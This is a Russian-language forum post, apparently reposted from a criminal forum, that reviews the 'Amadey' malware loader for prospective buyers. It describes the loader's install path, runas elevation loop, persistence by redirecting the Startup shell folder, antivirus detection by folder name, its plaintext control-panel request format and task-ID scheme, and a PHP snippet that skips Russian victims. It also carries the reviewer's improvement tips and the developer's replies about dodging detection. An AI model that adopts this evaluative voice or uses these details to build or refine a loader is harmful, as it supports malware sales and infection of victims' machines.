Интересно Обзор лоадера «Amadey»

MrBadGGuy

Завхоз PR-группы
Команда форума
PR-group
Пользователь
Регистрация
22 Фев 2019
Сообщения
101
Баллы
0
Веб-сайт
opencard.pw
Общие продажи
0$
Общие покупки
0$
Описание

Проект a2019 «Amadey» изначально разрабатывался под заказ для использования "в одни руки" по очень строгому ТЗ, но в последствии не был выкуплен заказчиком и сейчас доступен к продаже по лицензионному соглашению.
«Amadey» представляет собой резидентную площадку доставки "груза" с минимально необходимым функционалом на борту, никаких сложных приемов при заражении либо коммуникации с панелью, все относительно просто (что есть не плохо, учитывая бдительность к хитро вымученным IPC, современных АВ продуктов). Большинство заявленных автором характеристик продукта были подтверждены.
Дальше все по порядку

заявленные характеристики
● Полная совместимость со всеми версиями Windows семейства NT (тесты на XP и новее, включая 10/2016), 32/64 -
● Имеет полный набор стандартных функций (выбор стран, лимит загрузок и т.д.)
● Имеет контроль загрузки и запуска, повторяет попытку до 3х раз в случае неудачи, рапортует в СС - вы можете видеть в реальном времени статистику задания (Progress), есть ли проблемы с загрузкой или запуском, а так же реальное количество успешно запущеных копий (Success)
● Работа с DLL через rundll32
● Контроль автозагрузки ваших файлов! (а2019 может запускать ваши файлы после ребута ОС или вы можете использовать собственный авторан вашего файла - опционально)
● Автозапуск не из реестра Windows
● Точное определение версии ОС по minor/major и ее разрядности
● Возможность дать персональное задание каждому юниту
● Качественный выход из LOW уровня интеграции
● Определение 12-ти основных антивирусных пакетов (в дальнейшем расширим)
● Мощная статистика без лишней, не нужной "воды"
● Поддержка синхронизации через FastFlux и тому подобные "прокладки"
● Не работоспособен на территории Российской Федерации и братских стран (функционал ограничен отстуком)
● Все внутренние константы под DESом, уникальный ключ шифрования для каждого билда
● СС легок в развертывании, создание таблиц и подключение БД осуществляется из инетрфейса СС
● Размер файла 47 кб.
Нажмите, чтобы раскрыть...
площадка теста

ранний билд 10ки был выбран не случайно (что-то среднее между 7 кой и 18м билдом 10ки),




пользователь в группе Users (не амдин)




АВ на машине отсутствует (WinDef заглушен)


статика

характеристики предоставленного (не криптованого) 32 bit PE ни чем "характерным" не выделяeтся, файл откомпилирован MinGW с минимальной оптимизацией (что делает реверс чуть менее геморрным) ->




секции с минимальной энтропией и стандартными рутинами EP ->




много подозрительных импортов (статическая эвристика) но это на скантайм «Amadey», никак не влияет







все очь скромно что в данном случае играет на руку данному софту


динамика

1) Установка в систему.

Создает копию в ProgramData/xxxxxx/xxx.exe, где иксы это уникальные для каждого билда значения директории и имени ехе файла.
При копировании используются fread и fwrite, далеее с копии снимается метка Zone.Identifier и происходит запуск функцией CreateProcess






лоадер стартует нормально копирует себя в programdata/ запускает копию но за собой не чистит


a) Проверка уровня интеграции. Происходит без вызова OpenProcessToken/GetTokenInformation/GetSidSubAuthority во избежании детектов. Предпринимается попытка создания файла CreateFile и в случае неудачи IL считается LOW.
честно говоря я не совсем убежден в том что дроп файла на диск (CreateFileA -> WriteFile) является более скрытным методом проверки Integrity Level (учитывая последующую миграцию в programdata) нежели тот же "GetTokenInformation(hToken, TokenElevation". возможно это решение подкреплено тестами и опытом автора. да и тот (0) файл там и остается что в свою очередь создает "надежный" IOC/ИД (индикатор заражения).

При запуске из LOW IL предпринимается попытка синхронизации с соответствующим значением параметра IL, после чего выход из LOW IL через RunAs в цикле.




файл запускаемый из под low/medium по средством ShellExecute(hwnd, "runas" будет рваться в дамки так что выходом из low это сложно назвать скорее шумный выход в High (автору: посмотри в сторону ShellExecuteElevated* как возможная альтернатива).

вот так выглядит "выход из low" «Amadey», всем до боли знакомый наг ->




да и та же функция используется для выполнениe скаченного PE (таск) с директивой запуска из под админа











Переключает Startup директорию Windows на свою

a) Вносит изменения в HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup -> ProgramData/xxxxxx/

В меню Start -> All Programs - Startup остаются те программы, которые там были

После чего Windows запускает все, что внутри ProgramData/xxxxxx/
все именно так, хочу подметить что метод неплохой, нестандартный подход разработчика радует







12) Установленые АВ
a) наличие АВ проверяется по DirectoryExists в ProgramData

Проверяются директории: "AVAST Software", "Avira", "Kaspersky Lab", "ESET", "Panda Security", "Doctor Web", "AVG", "360TotalSecurity", "Bitdefender", "Norton", "Sophos" и "Comodo"






все именно так как и описал разработчик, имена АВ зашиты в теле PE (.data) в зашифрованном виде




контрольная панель траф и таски
4) Запрос на сервер.
С помощью WinSock составляется и выполняется запрос:
Код:
POST /CC/index.php HTTP/1.1
\r\n
Host: site.name
\r\n
Accept: /
\r\n
Content-Type: application/x-www-form-urlencoded
\r\n
Content-Length: legth_of_post_request
\r\n
\r\n
body_of_post_request
IP адрес резолвится с помощью вызова gethostbyname
общение с панелью осуществляется по протоколу HTTP соответственно траф не шифруется как и передаваемые параметры бикона







лоадер не использует WinINet / WinHTTP API а напрямую кидает запросы в сокет, через Winsock2, следовательно поддержка прокси отсутствует



6) Разбор и выполнение задания.
a) Id таска состоит из 10 цифр, первые 7 это уникальный идентификационный номер задачи, 8-ая цифра определяет метод запуска, 9-ая цифра тип файла (exe/dll) и 10-ая отвечает за тип автозапуска.

Метод запуска EXE. Может быть как обычным, через CreateProcess (когда 8-ая цифра "0"), так и через ShellExecute RunAs (когда 8-ая цифра "1")

c) Тип файла. Если библиотека, то урл делится на собственно урл и имя функции (разделяются символами ":::") происходит сохранение в %tmp% и вызов заданой функции через rundll32.
Если ехе файл, то сохраняется либо в %tmp% (своя автозагрузка), либо в собственную ProgramData/xxxxxx/ (автозагрузка Windows) и запускается в соответствии с выбраным методом (

d) Расширение файла во всех случаях принудительно устанавливается в .exe или .dll, не зависимо от расширения по урл на сервере.

e) Имя файла во всех случаях остается оригинальное, из урл на сервере.
таски отрабатывают без проблем




DLL




EXE




Главная панель, панель статистики и меню тасков все просто и удобно ничего лишнего (автору: добавь дропдаун на UID), код панели я подробно не изучал оставим это на "другой раз". одно лишь добавлю, проверка на RU осуществляется на панели при обработке тасков, так что это не препятствует заражению.
Код:
}
}
}

if ( strcmp( aGetCountryIndex( GetIP() ), "RU" ) == 0 )
die;

return $res;
}
можно было вызвать ExitProcess() при удовлетворении strcmp














"Пара" примечаний:

  • оригинальный файл не удаляется после перемещения в programdata
  • лоадер не использует SSL/TLS параметры запросов так же передаются в открытом виде
  • лоадер не применяет никаких IPC ( кпм startTime/runTime code injection / proc mitm)
  • ладер не поддерживает прокси hijacking на клиенте
  • ладер не препятствует терминации своего процесса
  • панель не предоставляет возможности удаления лоадера с зараженной машины (мало ли )
  • лоадер не прячет свой резидент на зараженной машине

хотел бы выделить пару моментов:

  • уникальный (на мой взгляд) метод персистинга
  • стринги (URL панели / имена АВ итп) зашифрованы (надеюсь ключ динамичен на каждый билд).

несколько пояснений:
- лоадер не использует SSL/TLS параметры запросов так же передаются в открытом виде изначально применялось легкое шифрование передачи сервер -> юнит, на этапе тестов выявились проблемы и уменьшение отстука как следствие. Откручено. как только разберусь в причинах падения показателей - прикручу обратно.

- ладер не препятствует терминации своего процесса
я пытался делать, детектов тьма-тьмущая сразу.

- панель не предоставляет возможности удаления лоадера с зараженной машины (мало ли)
техническая возможность есть, не реализовано исключительно для защиты клиентов от них самих же - многие клиенты совсем "не подкованы" технически, при этом любят все везде нажать.

- стринги (URL панели / имена АВ итп) зашифрованы (надеюсь ключ динамичен на каждый билд).
Да, вообще все внутри зашифровано уникальным ключем для каждого билда каждого клиента.

- if ( strcmp( aGetCountryIndex( GetIP() ), "RU" ) == 0 )
Изначально так и планировалось, лоадер должен "отстучать" на СС, при этом не должен выполнять команды. Если клиент не видит отстук после запуска для него это означает "неработоспособность" продукта - отстук должен быть.
заражение РУ машин нежелательным софтом при этом не произойдет, СС игнорирует выдачу задания таким ботам.

в целом продукт неплохой, заявленным характеристикам +- соответствует, автор адекватный по крайнее мере мне так показалось.

автор: pixe1
взято с эксплойта